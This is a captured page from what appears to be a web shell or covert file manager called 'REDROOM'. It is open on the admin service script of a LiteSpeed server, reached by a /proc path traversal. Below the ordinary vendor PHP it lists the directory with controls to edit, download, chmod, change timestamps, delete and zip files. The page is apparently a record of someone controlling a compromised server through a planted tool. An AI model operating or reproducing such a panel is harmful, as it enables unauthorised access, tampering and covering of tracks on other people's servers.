REDROOM
PHP 8.2.30
Path:
Logout
Edit File
Size: 2.07 KB
Close
/proc/thread-self/root/proc/thread-self/root/usr/local/lsws/admin/html/service/serviceMgr.php
Text
Base64
<?php require_once('../includes/auth.php'); // this will force login $product = PRODUCT::GetInstance(); $act = DUtil::getGoodVal(DUtil::grab_input('request','act')); $actId = DUtil::getGoodVal(DUtil::grab_input('request','actId')); $vl = DUtil::getGoodVal(DUtil::grab_input('request','vl')); $tk = DUtil::getGoodVal(DUtil::grab_input('request','tk')); // validate all inputs $actions = array('', 'restart', 'upgrade', 'switchTo', // restart required 'RESET_ALL_PHP_PROCESSES', 'toggledbg', 'download', 'enable', 'disable', 'remove', 'validatelicense'); $vloptions = array('', '1','2','3','4'); if (!in_array($vl, $vloptions) || !in_array($act, $actions)) { echo "Illegal Entry Point!"; return; // illegal entry } if ($act != '') { if ($tk != CLIENT::singleton()->getToken()) { echo "Illegal Entry Point!"; return; // illegal entry } } $confCenter = ConfCenter::singleton(); $service = new Service(); $service->init(); $service->refreshConf($confCenter->ExportConf()); //check if require restart if ( ($act == 'restart' && $actId == '') || $act == 'switchTo') { header("location:restart.html"); $service->process($act, $actId); return; } elseif ($act == 'upgrade') { if ($service->download($actId)) { header("location:restart.html"); $service->process($act, $actId); return; } else { $error = "Failed to download release $actId! Please try upgrade manually."; } } elseif (in_array($act, array('toggledbg', 'enable', 'disable', 'restart', 'remove', 'validatelicense', 'RESET_ALL_PHP_PROCESSES'))) //other no-restart actions { if ($act == 'disable' || $act == 'enable') { $confCenter->enableDisableVh($act, $actId); } $service->process($act, $actId); } echo GUI::header($service->serv['name']); echo GUI::top_menu(); switch($vl) { case '1': include 'logViewer.php'; break; case '2': include 'realtimeReport.php'; break; case '3': if ($act == 'download') { include 'verMgrDownload.php'; } else { include 'verMgrCont.php'; } break; case '4': include 'realtimeReqReport.php'; break; default: include 'homeCont.php'; break; } echo GUI::footer();
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 11
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
blockip_html.php
648 B
lrw-r--r--
2026-02-26 14:15:13
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
graph_html.php
7.04 KB
lrw-r--r--
2026-02-26 14:15:13
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
graph_xml.php
3.21 KB
lrw-r--r--
2026-02-26 14:15:13
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
homeCont.php
5.30 KB
lrw-r--r--
2026-02-26 14:15:13
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
logViewer.php
2.10 KB
lrw-r--r--
2026-02-26 14:15:13
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
realtimeReport.php
11.44 KB
lrw-r--r--
2026-02-26 14:15:13
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
realtimeReqReport.php
6.89 KB
lrw-r--r--
2026-02-26 14:15:13
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
restart.html
634 B
lrw-r--r--
2026-02-26 14:15:13
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
serviceMgr.php
2.07 KB
lrw-r--r--
2026-02-26 14:15:13
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
verMgrCont.php
3.42 KB
lrw-r--r--
2026-02-26 14:15:13
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
verMgrDownload.php
525 B
lrw-r--r--
2026-02-26 14:15:13
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).